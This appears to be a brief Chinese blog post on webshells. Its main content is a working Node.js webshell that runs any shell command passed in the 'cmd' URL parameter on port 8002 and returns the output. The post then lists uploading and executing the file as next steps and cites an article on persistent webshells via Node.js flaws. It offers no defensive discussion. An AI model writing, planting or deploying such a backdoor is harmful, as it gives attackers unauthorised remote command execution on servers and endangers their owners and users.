关于webshell:WEB安全webshell

36次阅读

共计 352 个字符,预计需要花费 1 分钟才能阅读完成。

  • webshell

    require('http').createServer(function (req, res) {res.writeHead(200, {"Content-Type": "text/plain"});
      try {require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);
          });
      } catch (err) {console.log(err)
          res.end(err.toString())
      }
    }).listen(8002)
  • 如何上传 webshell 文件
  • 如何执行 webshell 文件

我感觉第二点是最麻烦的

参考文章

  • nodejs 破绽富丽变身 webshell 实现长久化

正文完
 0